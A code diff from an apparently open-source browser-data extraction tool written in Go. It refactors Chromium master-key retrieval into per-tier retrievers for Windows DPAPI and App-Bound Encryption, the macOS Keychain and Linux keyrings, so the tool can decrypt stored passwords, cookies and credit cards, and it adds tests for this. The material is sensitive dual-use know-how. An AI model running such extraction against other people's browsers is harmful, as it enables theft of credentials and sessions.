diff --git a/browser/browser.go b/browser/browser.go
index bedfa49..291d42c 100644
--- a/browser/browser.go
+++ b/browser/browser.go
@@ -111,11 +111,11 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser
 	return browsers, nil
 }
 
-// retrieverSetter is an optional capability interface. Chromium variants
-// implement it to receive a master-key retriever chain; Firefox and Safari
-// do not.
-type retrieverSetter interface {
-	SetRetriever(keyretriever.KeyRetriever)
+// keyRetrieversSetter is an optional capability interface. Chromium variants implement it to
+// receive the per-tier master-key retrievers (V10 / V11 / V20) as a single Retrievers struct;
+// Firefox and Safari do not.
+type keyRetrieversSetter interface {
+	SetKeyRetrievers(keyretriever.Retrievers)
 }
 
 // resolveGlobs expands glob patterns in browser configs' UserDataDir.
diff --git a/browser/browser_darwin.go b/browser/browser_darwin.go
index 2d1254a..ed0a533 100644
--- a/browser/browser_darwin.go
+++ b/browser/browser_darwin.go
@@ -171,23 +171,23 @@ type keychainPasswordSetter interface {
 // no longer triggers a password prompt.
 func newPlatformInjector(opts PickOptions) func(Browser) {
 	var (
-		password  string
-		retriever keyretriever.KeyRetriever
-		resolved  bool
+		password   string
+		retrievers keyretriever.Retrievers
+		resolved   bool
 	)
 	return func(b Browser) {
-		rs, needsRetriever := b.(retrieverSetter)
+		rs, needsRetrievers := b.(keyRetrieversSetter)
 		kps, needsKeychainPassword := b.(keychainPasswordSetter)
-		if !needsRetriever && !needsKeychainPassword {
+		if !needsRetrievers && !needsKeychainPassword {
 			return
 		}
 		if !resolved {
 			password = resolveKeychainPassword(opts.KeychainPassword)
-			retriever = keyretriever.DefaultRetriever(password)
+			retrievers = keyretriever.DefaultRetrievers(password)
 			resolved = true
 		}
-		if needsRetriever {
-			rs.SetRetriever(retriever)
+		if needsRetrievers {
+			rs.SetKeyRetrievers(retrievers)
 		}
 		if needsKeychainPassword {
 			kps.SetKeychainPassword(password)
diff --git a/browser/browser_linux.go b/browser/browser_linux.go
index a8828c5..abe2d59 100644
--- a/browser/browser_linux.go
+++ b/browser/browser_linux.go
@@ -67,13 +67,16 @@ func platformBrowsers() []types.BrowserConfig {
 	}
 }
 
-// newPlatformInjector returns a closure that injects the Chromium master-key
-// retriever chain into each Browser.
+// newPlatformInjector returns a closure that wires the Linux Chromium master-key retrievers into
+// each Browser. Linux has two tiers: V10 uses the "peanuts" hardcoded password (kV10Key); V11
+// uses the D-Bus Secret Service keyring (kV11Key). V20 is nil — App-Bound Encryption is Windows-
+// only. Both V10 and V11 run independently so a profile carrying mixed cipher prefixes decrypts
+// both tiers.
 func newPlatformInjector(_ PickOptions) func(Browser) {
-	retriever := keyretriever.DefaultRetriever()
+	retrievers := keyretriever.DefaultRetrievers()
 	return func(b Browser) {
-		if s, ok := b.(retrieverSetter); ok {
-			s.SetRetriever(retriever)
+		if s, ok := b.(keyRetrieversSetter); ok {
+			s.SetKeyRetrievers(retrievers)
 		}
 	}
 }
diff --git a/browser/browser_windows.go b/browser/browser_windows.go
index f018c77..58d65f2 100644
--- a/browser/browser_windows.go
+++ b/browser/browser_windows.go
@@ -125,13 +125,15 @@ func platformBrowsers() []types.BrowserConfig {
 	}
 }
 
-// newPlatformInjector returns a closure that injects the Chromium master-key
-// retriever chain into each Browser.
+// newPlatformInjector returns a closure that wires the Windows v10 (DPAPI) and v20 (ABE) Chromium
+// master-key retrievers into each Browser. Per issue #578 the two tiers are orthogonal — a single
+// Chrome profile upgraded from pre-127 carries v20 cookies alongside v10 passwords — so both
+// retrievers run independently rather than as a first-success chain.
 func newPlatformInjector(_ PickOptions) func(Browser) {
-	retriever := keyretriever.DefaultRetriever()
+	retrievers := keyretriever.DefaultRetrievers()
 	return func(b Browser) {
-		if s, ok := b.(retrieverSetter); ok {
-			s.SetRetriever(retriever)
+		if s, ok := b.(keyRetrieversSetter); ok {
+			s.SetKeyRetrievers(retrievers)
 		}
 	}
 }
diff --git a/browser/chromium/chromium.go b/browser/chromium/chromium.go
index e623cf4..af3974d 100644
--- a/browser/chromium/chromium.go
+++ b/browser/chromium/chromium.go
@@ -1,7 +1,6 @@
 package chromium
 
 import (
-	"fmt"
 	"os"
 	"path/filepath"
 	"time"
@@ -17,14 +16,14 @@ import (
 type Browser struct {
 	cfg         types.BrowserConfig
 	profileDir  string                               // absolute path to profile directory
-	retriever   keyretriever.KeyRetriever            // set via SetRetriever after construction
+	retrievers  keyretriever.Retrievers              // per-tier key sources (V10 / V11 / V20; unused tiers nil)
 	sources     map[types.Category][]sourcePath      // Category → candidate paths (priority order)
 	extractors  map[types.Category]categoryExtractor // Category → custom extract function override
 	sourcePaths map[types.Category]resolvedPath      // Category → discovered absolute path
 }
 
 // NewBrowsers discovers Chromium profiles under cfg.UserDataDir and returns
-// one Browser per profile. Call SetRetriever on each returned browser before
+// one Browser per profile. Call SetKeyRetrievers on each returned browser before
 // Extract to enable decryption of sensitive data (passwords, cookies, etc.).
 func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
 	sources := sourcesForKind(cfg.Kind)
@@ -52,11 +51,19 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) {
 	return browsers, nil
 }
 
-// SetRetriever sets the key retriever used by Extract to obtain the
-// master encryption key. Must be called before Extract if encrypted
-// data (passwords, cookies, credit cards) needs to be decrypted.
-func (b *Browser) SetRetriever(r keyretriever.KeyRetriever) {
-	b.retriever = r
+// SetKeyRetrievers wires the per-tier master-key retrievers used by Extract. Each slot
+// (V10 / V11 / V20) is populated only on platforms where that cipher tier is used:
+//
+//   - Windows: V10 (DPAPI) + V20 (ABE). V11 nil — Chromium does not emit v11 prefix on Windows.
+//   - Linux:   V10 ("peanuts" kV10Key) + V11 (D-Bus Secret Service kV11Key). V20 nil.
+//   - macOS:   V10 (Keychain chain). V11 and V20 nil.
+//
+// Slots are independent — a failure or absence in one tier does not affect others. A single
+// Chromium profile can carry mixed cipher-prefix ciphertexts (the motivation for issue #578), so
+// every configured retriever runs at extract time and decryptValue picks the matching key per
+// ciphertext.
+func (b *Browser) SetKeyRetrievers(r keyretriever.Retrievers) {
+	b.retrievers = r
 }
 
 func (b *Browser) BrowserName() string { return b.cfg.Name }
@@ -79,10 +86,7 @@ func (b *Browser) Extract(categories []types.Category) (*types.BrowserData, erro
 
 	tempPaths := b.acquireFiles(session, categories)
 
-	masterKey, err := b.getMasterKey(session)
-	if err != nil {
-		log.Debugf("get master key for %s: %v", b.BrowserName()+"/"+b.ProfileName(), err)
-	}
+	keys := b.getMasterKeys(session)
 
 	data := &types.BrowserData{}
 	for _, cat := range categories {
@@ -90,7 +94,7 @@ func (b *Browser) Extract(categories []types.Category) (*types.BrowserData, erro
 		if !ok {
 			continue
 		}
-		b.extractCategory(data, cat, masterKey, path)
+		b.extractCategory(data, cat, keys, path)
 	}
 	return data, nil
 }
@@ -170,43 +174,46 @@ func (b *Browser) acquireFiles(session *filemanager.Session, categories []types.
 	return tempPaths
 }
 
-// getMasterKey retrieves the Chromium master encryption key.
-//
-// On Windows, the key is read from the Local State file and decrypted via DPAPI.
-// On macOS, the key is derived from Keychain (Local State is not needed).
-// On Linux, the key is derived from D-Bus Secret Service or a fallback password.
-//
-// The retriever is always called regardless of whether Local State exists,
-// because macOS/Linux retrievers don't need it.
-func (b *Browser) getMasterKey(session *filemanager.Session) ([]byte, error) {
-	if b.retriever == nil {
-		return nil, fmt.Errorf("key retriever not set for %s", b.cfg.Name)
-	}
+// getMasterKeys retrieves the Chromium master keys for every configured tier. Chrome mixes
+// cipher tiers on the same profile — v20 for new cookies alongside v10 passwords on Windows; v10
+// (peanuts) alongside v11 (keyring) on Linux after session-mode changes — so every retriever in
+// b.retrievers runs independently and keyretriever.NewMasterKeys assembles the results. Any tier
+// key may be nil if its retriever failed or is not configured for this platform; decryptValue
+// treats a missing tier key as "that tier cannot decrypt" so partial success is still reported.
+func (b *Browser) getMasterKeys(session *filemanager.Session) keyretriever.MasterKeys {
+	label := b.BrowserName() + "/" + b.ProfileName()
 
-	// Try to locate and copy Local State (needed on Windows, ignored on macOS/Linux).
-	// Multi-profile layout: Local State is in the parent of profileDir.
-	// Flat layout (Opera): Local State is alongside data files in profileDir.
+	// Locate and copy Local State (needed on Windows, ignored on macOS/Linux). Multi-profile
+	// layout: Local State is in the parent of profileDir. Flat layout (Opera): Local State is
+	// alongside data files in profileDir.
 	var localStateDst string
 	for _, dir := range []string{filepath.Dir(b.profileDir), b.profileDir} {
 		candidate := filepath.Join(dir, "Local State")
-		if fileutil.FileExists(candidate) {
-			localStateDst = filepath.Join(session.TempDir(), "Local State")
-			if err := session.Acquire(candidate, localStateDst, false); err != nil {
-				return nil, err
-			}
+		if !fileutil.FileExists(candidate) {
+			continue
+		}
+		dst := filepath.Join(session.TempDir(), "Local State")
+		if err := session.Acquire(candidate, dst, false); err != nil {
+			log.Debugf("acquire Local State for %s: %v", label, err)
 			break
 		}
+		localStateDst = dst
+		break
 	}
 
-	return b.retriever.RetrieveKey(b.cfg.Storage, localStateDst)
+	keys, err := keyretriever.NewMasterKeys(b.retrievers, b.cfg.Storage, localStateDst)
+	if err != nil {
+		log.Warnf("%s: master key retrieval: %v", label, err)
+	}
+	return keys
 }
 
 // extractCategory calls the appropriate extract function for a category.
 // If a custom extractor is registered for this category (via extractorsForKind),
 // it is used instead of the default switch logic.
-func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, masterKey []byte, path string) {
+func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, keys keyretriever.MasterKeys, path string) {
 	if ext, ok := b.extractors[cat]; ok {
-		if err := ext.extract(masterKey, path, data); err != nil {
+		if err := ext.extract(keys, path, data); err != nil {
 			log.Debugf("extract %s for %s: %v", cat, b.BrowserName()+"/"+b.ProfileName(), err)
 		}
 		return
@@ -215,9 +222,9 @@ func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, m
 	var err error
 	switch cat {
 	case types.Password:
-		data.Passwords, err = extractPasswords(masterKey, path)
+		data.Passwords, err = extractPasswords(keys, path)
 	case types.Cookie:
-		data.Cookies, err = extractCookies(masterKey, path)
+		data.Cookies, err = extractCookies(keys, path)
 	case types.History:
 		data.Histories, err = extractHistories(path)
 	case types.Download:
@@ -225,7 +232,7 @@ func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, m
 	case types.Bookmark:
 		data.Bookmarks, err = extractBookmarks(path)
 	case types.CreditCard:
-		data.CreditCards, err = extractCreditCards(masterKey, path)
+		data.CreditCards, err = extractCreditCards(keys, path)
 	case types.Extension:
 		data.Extensions, err = extractExtensions(path)
 	case types.LocalStorage:
diff --git a/browser/chromium/chromium_test.go b/browser/chromium/chromium_test.go
index f567bca..13577c7 100644
--- a/browser/chromium/chromium_test.go
+++ b/browser/chromium/chromium_test.go
@@ -362,7 +362,7 @@ func TestExtractCategory_CustomExtractor(t *testing.T) {
 	}
 
 	data := &types.BrowserData{}
-	b.extractCategory(data, types.Extension, nil, "unused-path")
+	b.extractCategory(data, types.Extension, keyretriever.MasterKeys{}, "unused-path")
 
 	assert.True(t, called, "custom extractor should be called")
 	require.Len(t, data.Extensions, 1)
@@ -381,7 +381,7 @@ func TestExtractCategory_DefaultFallback(t *testing.T) {
 	}
 
 	data := &types.BrowserData{}
-	b.extractCategory(data, types.History, nil, path)
+	b.extractCategory(data, types.History, keyretriever.MasterKeys{}, path)
 
 	require.Len(t, data.Histories, 1)
 	assert.Equal(t, "Example", data.Histories[0].Title)
@@ -441,7 +441,7 @@ func TestLocalStatePath(t *testing.T) {
 }
 
 // ---------------------------------------------------------------------------
-// getMasterKey
+// getMasterKeys
 // ---------------------------------------------------------------------------
 
 // mockRetriever records the arguments passed to RetrieveKey.
@@ -460,7 +460,10 @@ func (m *mockRetriever) RetrieveKey(storage, localStatePath string) ([]byte, err
 	return m.key, m.err
 }
 
-func TestGetMasterKey(t *testing.T) {
+func TestGetMasterKeys(t *testing.T) {
+	// getMasterKeys routes through keyretriever.NewMasterKeys on every platform — the V10 mock
+	// wired via SetKeyRetrievers(Retrievers{V10: mock}) is consulted cross-platform.
+
 	// Profile directory without Local State file.
 	dirNoLocalState := t.TempDir()
 	mkFile(dirNoLocalState, "Default", "Preferences")
@@ -470,23 +473,21 @@ func TestGetMasterKey(t *testing.T) {
 		name           string
 		dir            string
 		storage        string
-		retriever      keyretriever.KeyRetriever // nil → don't call SetRetriever
-		wantKey        []byte
-		wantErr        string
+		retriever      keyretriever.KeyRetriever // nil → don't call SetKeyRetrievers
+		wantV10        []byte
 		wantStorage    string
 		wantLocalState bool // whether localStatePath passed to retriever is non-empty
 	}{
 		{
-			name:    "nil retriever returns error",
-			dir:     fixture.chrome,
-			wantErr: "key retriever not set",
+			name: "nil retriever yields empty keys",
+			dir:  fixture.chrome,
 		},
 		{
 			name:           "with Local State passes path to retriever",
 			dir:            fixture.chrome,
 			storage:        "Chrome",
 			retriever:      &mockRetriever{key: []byte("fake-master-key")},
-			wantKey:        []byte("fake-master-key"),
+			wantV10:        []byte("fake-master-key"),
 			wantStorage:    "Chrome",
 			wantLocalState: true,
 		},
@@ -495,7 +496,7 @@ func TestGetMasterKey(t *testing.T) {
 			dir:         dirNoLocalState,
 			storage:     "Chromium",
 			retriever:   &mockRetriever{key: []byte("derived-key")},
-			wantKey:     []byte("derived-key"),
+			wantV10:     []byte("derived-key"),
 			wantStorage: "Chromium",
 		},
 	}
@@ -510,22 +511,21 @@ func TestGetMasterKey(t *testing.T) {
 
 			b := browsers[0]
 			if tt.retriever != nil {
-				b.SetRetriever(tt.retriever)
+				b.SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever})
 			}
 
 			session, err := filemanager.NewSession()
 			require.NoError(t, err)
 			defer session.Cleanup()
 
-			key, err := b.getMasterKey(session)
-			if tt.wantErr != "" {
-				require.Error(t, err)
-				assert.Contains(t, err.Error(), tt.wantErr)
+			keys := b.getMasterKeys(session)
+			assert.Equal(t, tt.wantV10, keys.V10)
+			assert.Nil(t, keys.V11, "V11 stays nil when no v11 retriever is wired")
+			assert.Nil(t, keys.V20, "V20 stays nil when no v20 retriever is wired")
+
+			if tt.retriever == nil {
 				return
 			}
-			require.NoError(t, err)
-			assert.Equal(t, tt.wantKey, key)
-
 			mock, ok := tt.retriever.(*mockRetriever)
 			require.True(t, ok)
 			assert.True(t, mock.called)
@@ -539,6 +539,43 @@ func TestGetMasterKey(t *testing.T) {
 	}
 }
 
+// TestGetMasterKeys_AllTiersInvoked is the mixed-tier regression test at the getMasterKeys layer.
+// Before the refactor a Windows-only bypass meant only one tier's retriever was consulted, so a
+// profile mixing prefixes silently lost the un-retrieved tier. After the refactor every
+// configured tier must be called exactly once and its key must land in the matching MasterKeys
+// slot. This catches any future "bypass keyretriever for a faster path" regression and covers the
+// analogous Linux v10/v11 case — no platform silently drops a tier any more.
+func TestGetMasterKeys_AllTiersInvoked(t *testing.T) {
+	v10mock := &mockRetriever{key: []byte("fake-v10-key")}
+	v11mock := &mockRetriever{key: []byte("fake-v11-key")}
+	v20mock := &mockRetriever{key: []byte("fake-v20-key")}
+
+	browsers, err := NewBrowsers(types.BrowserConfig{
+		Name: "Test", Kind: types.Chromium, UserDataDir: fixture.chrome, Storage: "Chrome",
+	})
+	require.NoError(t, err)
+	require.NotEmpty(t, browsers)
+
+	b := browsers[0]
+	b.SetKeyRetrievers(keyretriever.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock})
+
+	session, err := filemanager.NewSession()
+	require.NoError(t, err)
+	defer session.Cleanup()
+
+	keys := b.getMasterKeys(session)
+	assert.Equal(t, []byte("fake-v10-key"), keys.V10, "V10 slot must be populated")
+	assert.Equal(t, []byte("fake-v11-key"), keys.V11, "V11 slot must be populated")
+	assert.Equal(t, []byte("fake-v20-key"), keys.V20, "V20 slot must be populated")
+	assert.True(t, v10mock.called, "V10 retriever must be called — no silent bypass")
+	assert.True(t, v11mock.called, "V11 retriever must be called — no silent bypass")
+	assert.True(t, v20mock.called, "V20 retriever must be called — no silent bypass")
+	for _, m := range []*mockRetriever{v10mock, v11mock, v20mock} {
+		assert.Equal(t, "Chrome", m.storage)
+		assert.NotEmpty(t, m.localState, "Local State path must be passed to every retriever")
+	}
+}
+
 // ---------------------------------------------------------------------------
 // Extract
 // ---------------------------------------------------------------------------
@@ -572,7 +609,7 @@ func TestExtract(t *testing.T) {
 			require.Len(t, browsers, 1)
 
 			if tt.retriever != nil {
-				browsers[0].SetRetriever(tt.retriever)
+				browsers[0].SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever})
 			}
 
 			result, err := browsers[0].Extract([]types.Category{types.History})
@@ -673,12 +710,12 @@ func TestCountCategory(t *testing.T) {
 }
 
 // ---------------------------------------------------------------------------
-// SetRetriever: verify *Browser satisfies the interface used by
+// SetKeyRetrievers: verify *Browser satisfies the interface used by
 // browser.pickFromConfigs for post-construction retriever injection.
 // ---------------------------------------------------------------------------
 
-func TestSetRetriever_SatisfiesInterface(t *testing.T) {
+func TestSetKeyRetrievers_SatisfiesInterface(t *testing.T) {
 	var _ interface {
-		SetRetriever(keyretriever.KeyRetriever)
+		SetKeyRetrievers(keyretriever.Retrievers)
 	} = (*Browser)(nil)
 }
diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go
index cf6d56b..69b6702 100644
--- a/browser/chromium/decrypt.go
+++ b/browser/chromium/decrypt.go
@@ -4,24 +4,43 @@ import (
 	"fmt"
 
 	"github.com/moond4rk/hackbrowserdata/crypto"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 )
 
-// decryptValue decrypts a Chromium-encrypted value using the master key. It detects the cipher version
-// from the ciphertext prefix and routes to the appropriate decryption function.
-func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
+// decryptValue decrypts a Chromium-encrypted value by dispatching on the ciphertext's version
+// prefix to the matching tier in keys:
+//
+//   - v10 → keys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key)
+//   - v11 → keys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there)
+//   - v20 → keys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there)
+//
+// A single profile can carry mixed prefixes (Chrome 127+ upgrades on Windows; Linux session-mode
+// changes), so every applicable key must be populated upstream for lossless extraction. Missing
+// tier keys surface as decrypt errors at the ciphertext level; the extract layer treats those as
+// empty plaintexts rather than fatal errors.
+func decryptValue(keys keyretriever.MasterKeys, ciphertext []byte) ([]byte, error) {
 	if len(ciphertext) == 0 {
 		return nil, nil
 	}
 
 	version := crypto.DetectVersion(ciphertext)
 	switch version {
-	case crypto.CipherV10, crypto.CipherV11:
-		// v11 is Linux-only and shares v10's AES-CBC path; only the key source differs.
-		return crypto.DecryptChromium(masterKey, ciphertext)
+	case crypto.CipherV10:
+		return crypto.DecryptChromium(keys.V10, ciphertext)
+	case crypto.CipherV11:
+		// v11 is Linux-only and shares v10's AES-CBC path, but uses the keyring-derived kV11Key
+		// rather than the peanuts-derived kV10Key — so a Linux profile with both prefixes needs
+		// distinct per-tier keys to decrypt everything.
+		return crypto.DecryptChromium(keys.V11, ciphertext)
 	case crypto.CipherV20:
 		// v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can
 		// exercise the same decryption path as Windows.
-		return crypto.DecryptChromiumV20(masterKey, ciphertext)
+		return crypto.DecryptChromiumV20(keys.V20, ciphertext)
+	case crypto.CipherV12:
+		// Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) — HKDF-SHA256 +
+		// AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. Recognized here
+		// to surface an actionable "known gap" error rather than the generic "unsupported" one.
+		return nil, fmt.Errorf("unsupported cipher version v12 (Chromium SecretPortal / Flatpak; not yet implemented)")
 	case crypto.CipherDPAPI:
 		return crypto.DecryptDPAPI(ciphertext)
 	default:
diff --git a/browser/chromium/decrypt_mixed_test.go b/browser/chromium/decrypt_mixed_test.go
new file mode 100644
index 0000000..4c7391f
--- /dev/null
+++ b/browser/chromium/decrypt_mixed_test.go
@@ -0,0 +1,60 @@
+package chromium
+
+import (
+	"bytes"
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+
+	"github.com/moond4rk/hackbrowserdata/crypto"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
+)
+
+// TestDecryptValue_MixedTier is the regression test for mixed-cipher profiles (issue #578 on
+// Windows; the analogous Linux v10/v11 gap). A single MasterKeys struct must carry distinct keys
+// for each tier, and decryptValue must dispatch each ciphertext to the matching tier's key.
+// Before the refactor the master-key retriever returned only one tier, so a profile mixing
+// cipher prefixes silently lost whichever tier wasn't retrieved.
+//
+// Uses v20 (cross-platform AES-GCM) to cover the prefix→slot routing property without depending
+// on platform-specific v10/v11 cipher primitives (AES-CBC on darwin/linux, AES-GCM on Windows).
+// The per-platform v10/v11 formats are covered by decrypt_test.go and decrypt_windows_test.go.
+func TestDecryptValue_MixedTier(t *testing.T) {
+	k10 := bytes.Repeat([]byte{0x10}, 16) // V10 slot key (wrong for v20 payload)
+	k11 := bytes.Repeat([]byte{0x11}, 16) // V11 slot key (wrong for v20 payload)
+	k20 := bytes.Repeat([]byte{0x20}, 16) // V20 slot key (correct for v20 payload)
+
+	plaintext := []byte("cookie-value-encrypted-with-k20")
+	nonce := []byte("v20_nonce_12") // 12-byte AES-GCM nonce
+
+	gcmEnc, err := crypto.AESGCMEncrypt(k20, nonce, plaintext)
+	require.NoError(t, err)
+	v20Ciphertext := append([]byte("v20"), append(nonce, gcmEnc...)...)
+
+	t.Run("all tiers populated: v20 picks V20, decrypts", func(t *testing.T) {
+		got, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext)
+		require.NoError(t, err)
+		assert.Equal(t, plaintext, got)
+	})
+
+	t.Run("V20 holds wrong key: v20 still picks V20 slot (not V10/V11), errors", func(t *testing.T) {
+		// If the dispatcher incorrectly fell back to V10 or V11 when V20 had a wrong key, this
+		// would succeed. Proves the router uses prefix-based selection, not first-usable-key.
+		_, err := decryptValue(keyretriever.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext)
+		require.Error(t, err)
+	})
+
+	t.Run("only V20 populated: v20 still decrypts", func(t *testing.T) {
+		// The pre-#578 symmetric regression: when DPAPI/keyring failed and only V20 was retrieved,
+		// v20 cookies had to still decrypt. This asserts V10 and V11 being nil doesn't block v20.
+		got, err := decryptValue(keyretriever.MasterKeys{V20: k20}, v20Ciphertext)
+		require.NoError(t, err)
+		assert.Equal(t, plaintext, got)
+	})
+
+	t.Run("V20 slot unpopulated: v20 errors (no key to use)", func(t *testing.T) {
+		_, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11}, v20Ciphertext)
+		require.Error(t, err)
+	})
+}
diff --git a/browser/chromium/decrypt_test.go b/browser/chromium/decrypt_test.go
index f154f48..440708f 100644
--- a/browser/chromium/decrypt_test.go
+++ b/browser/chromium/decrypt_test.go
@@ -10,6 +10,7 @@ import (
 	"github.com/stretchr/testify/require"
 
 	"github.com/moond4rk/hackbrowserdata/crypto"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 )
 
 func TestDecryptValue_V10(t *testing.T) {
@@ -39,7 +40,7 @@ func TestDecryptValue_V10(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			got, err := decryptValue(tt.key, v10Ciphertext)
+			got, err := decryptValue(keyretriever.MasterKeys{V10: tt.key}, v10Ciphertext)
 			if tt.wantErrMsg != "" {
 				require.Error(t, err)
 				assert.Contains(t, err.Error(), tt.wantErrMsg)
@@ -59,7 +60,52 @@ func TestDecryptValue_V11(t *testing.T) {
 	require.NoError(t, err)
 	v11Ciphertext := append([]byte("v11"), cbcEncrypted...)
 
-	got, err := decryptValue(testAESKey, v11Ciphertext)
+	// v11 ciphertexts route to the V11 slot (Linux's keyring-derived kV11Key) — not V10 (peanuts).
+	got, err := decryptValue(keyretriever.MasterKeys{V11: testAESKey}, v11Ciphertext)
 	require.NoError(t, err)
 	assert.Equal(t, plaintext, got)
 }
+
+// TestDecryptValue_V10_V11_SlotSeparation is the Linux analog of the #578 regression test: a
+// profile carrying both v10 (peanuts) and v11 (keyring) ciphertexts must route each prefix to
+// its own slot, not share a single key. Build-tag scoped to darwin/linux because v10/v11 use
+// AES-CBC on these platforms; Windows uses AES-GCM for v10 and is covered separately by
+// decrypt_windows_test.go.
+func TestDecryptValue_V10_V11_SlotSeparation(t *testing.T) {
+	k10 := bytes.Repeat([]byte{0x10}, 16) // V10 slot key (peanuts-derived kV10Key)
+	k11 := bytes.Repeat([]byte{0x11}, 16) // V11 slot key (keyring-derived kV11Key)
+
+	iv := bytes.Repeat([]byte{0x20}, 16) // matches crypto.chromiumCBCIV on darwin/linux
+	v10plain := []byte("password-from-v10-era")
+	v11plain := []byte("password-from-v11-era")
+
+	v10Enc, err := crypto.AESCBCEncrypt(k10, iv, v10plain)
+	require.NoError(t, err)
+	v10Ciphertext := append([]byte("v10"), v10Enc...)
+
+	v11Enc, err := crypto.AESCBCEncrypt(k11, iv, v11plain)
+	require.NoError(t, err)
+	v11Ciphertext := append([]byte("v11"), v11Enc...)
+
+	keys := keyretriever.MasterKeys{V10: k10, V11: k11}
+
+	t.Run("v10 ciphertext decrypts via V10 slot", func(t *testing.T) {
+		got, err := decryptValue(keys, v10Ciphertext)
+		require.NoError(t, err)
+		assert.Equal(t, v10plain, got)
+	})
+
+	t.Run("v11 ciphertext decrypts via V11 slot", func(t *testing.T) {
+		got, err := decryptValue(keys, v11Ciphertext)
+		require.NoError(t, err)
+		assert.Equal(t, v11plain, got)
+	})
+
+	t.Run("swapped keys fail both directions", func(t *testing.T) {
+		swapped := keyretriever.MasterKeys{V10: k11, V11: k10}
+		_, err := decryptValue(swapped, v10Ciphertext)
+		require.Error(t, err, "v10 with V11's key must fail")
+		_, err = decryptValue(swapped, v11Ciphertext)
+		require.Error(t, err, "v11 with V10's key must fail")
+	})
+}
diff --git a/browser/chromium/decrypt_v20_test.go b/browser/chromium/decrypt_v20_test.go
index f026b57..afc5eb0 100644
--- a/browser/chromium/decrypt_v20_test.go
+++ b/browser/chromium/decrypt_v20_test.go
@@ -7,6 +7,7 @@ import (
 	"github.com/stretchr/testify/require"
 
 	"github.com/moond4rk/hackbrowserdata/crypto"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 )
 
 // TestDecryptValue_V20 is cross-platform because v20's ciphertext format
@@ -23,13 +24,13 @@ func TestDecryptValue_V20(t *testing.T) {
 	// v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag
 	ciphertext := append([]byte("v20"), append(nonce, gcm...)...)
 
-	got, err := decryptValue(testAESKey, ciphertext)
+	got, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, ciphertext)
 	require.NoError(t, err)
 	assert.Equal(t, plaintext, got)
 }
 
 func TestDecryptValue_V20_ShortCiphertext(t *testing.T) {
 	// Missing nonce (prefix only) must error, not panic.
-	_, err := decryptValue(testAESKey, []byte("v20"))
+	_, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, []byte("v20"))
 	require.Error(t, err)
 }
diff --git a/browser/chromium/decrypt_windows_test.go b/browser/chromium/decrypt_windows_test.go
index c7e58b4..70b533e 100644
--- a/browser/chromium/decrypt_windows_test.go
+++ b/browser/chromium/decrypt_windows_test.go
@@ -12,6 +12,7 @@ import (
 	"github.com/stretchr/testify/require"
 
 	"github.com/moond4rk/hackbrowserdata/crypto"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 )
 
 // encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData).
@@ -63,7 +64,7 @@ func TestDecryptValue_V10_Windows(t *testing.T) {
 	// v10 format on Windows: "v10" + nonce(12) + encrypted
 	ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...)
 
-	got, err := decryptValue(testAESKey, ciphertext)
+	got, err := decryptValue(keyretriever.MasterKeys{V10: testAESKey}, ciphertext)
 	require.NoError(t, err)
 	assert.Equal(t, plaintext, got)
 }
@@ -76,8 +77,8 @@ func TestDecryptValue_DPAPI_Windows(t *testing.T) {
 	require.NoError(t, err)
 	require.NotEmpty(t, encrypted)
 
-	// No v10/v20 prefix → decryptValue routes to DPAPI path
-	got, err := decryptValue(nil, encrypted)
+	// No v10/v20 prefix → decryptValue routes to DPAPI path; no per-tier key needed.
+	got, err := decryptValue(keyretriever.MasterKeys{}, encrypted)
 	require.NoError(t, err)
 	assert.Equal(t, plaintext, got)
 }
diff --git a/browser/chromium/extract_cookie.go b/browser/chromium/extract_cookie.go
index 4827abd..2b2ee36 100644
--- a/browser/chromium/extract_cookie.go
+++ b/browser/chromium/extract_cookie.go
@@ -6,7 +6,7 @@ import (
 	"database/sql"
 	"sort"
 
-	"github.com/moond4rk/hackbrowserdata/log"
+	"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
 	"github.com/moond4rk/hackbrowserdata/types"
 	"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
 )
@@ -18,9 +18,7 @@ const (
 	countCookieQuery = `SELECT COUNT(*) FROM cookies`
 )
 
-func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) {
-	var decryptFails int
-	var lastErr error
+func extractCookies(keys keyretriever.MasterKeys, path string) ([]types.CookieEntry, error) {
 	cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery,
 		func(rows *sql.Rows) (types.CookieEntry, error) {
 			var (
@@ -36,11 +34,7 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error)
 				return types.CookieEntry{}, err
 			}
 
